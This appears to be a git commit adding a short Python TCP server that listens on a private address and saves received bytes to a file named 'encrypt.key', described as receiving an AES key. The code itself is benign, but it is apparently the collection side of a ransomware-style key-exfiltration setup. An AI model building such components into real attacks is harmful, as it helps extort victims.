Added server script for receiveing aes key

This commit is contained in:
hellisabove
2024-08-23 16:59:56 +03:00
parent 5c2a4c5ab0
commit 51d12c3e5e
+21
View File
@@ -0,0 +1,21 @@
import socket
HOST = "192.168.0.155"
PORT = 8092
s = socket.socket()
s.bind((HOST,PORT))
print("Listening for upcoming connection")
s.listen()
conn, addr = s.accept()
print(f"Received connection from {addr}")
f = open('encrypt.key', 'wb')
while True:
print("Receiving...")
data = conn.recv(1024)
if data == b"DONE":
break
f.write(data)
f.close()
s.shutdown(2)
s.close()